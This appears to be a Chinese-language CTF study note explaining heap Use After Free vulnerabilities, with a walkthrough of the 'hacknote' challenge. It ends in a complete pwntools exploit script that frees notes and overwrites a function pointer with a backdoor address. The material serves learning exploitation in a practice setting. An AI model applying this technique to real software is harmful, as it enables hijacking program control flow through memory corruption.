原理

我们将Use After Free翻译过来就是释放后使用:当一个指针所指向的指针块被释放掉之后可以再次被使用,
但是这是由要求的,不妨将所有的情况列举出来:

  • chunk被释放之后,其对应的指针被设置为NULL,如果再次使用它,程序就会崩溃。
  • chunk被释放之后,其对应的指针未被设置为NULL,如果在下一次使用之前没有代码对这块内存进行修改,那么再次使用这个指针时程序很有可能正常运转。
  • 内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
    在堆中Use After Free一般指的是后两种漏洞,我们一般称被释放后没有被设置为NULL的内存指针为dangling pointer(悬空指针、悬垂指针)

    未被初始化过的内存指针称为野指针

例题

Pasted image 20250309202934
Pasted image 20250309222453
Pasted image 20250309222509

delete函数未将指针置空,存在UAF漏洞

image-20250404130558440

因为free chunk之后没有将ptr = null

image-20250404132313542

image-20250404132339096

释放两个chunk后, tcache中会有两个0x10大小的chunk, 再申请8字节的chunk, 会返回两个chunk, 后一个chunk就是之前的chunk0, 写入后门函数就会覆盖原chunk0的函数地址print_note, 新生成的note不是chunk0, 而是chunk3, 本题的UAF是指释放chunk0后, 又使用了chunk0

from pwn import *

r = process('./hacknote')


def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)

def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))

def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(20, "note1") # add note 0
addnote(20, "note2") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0
r.interactive()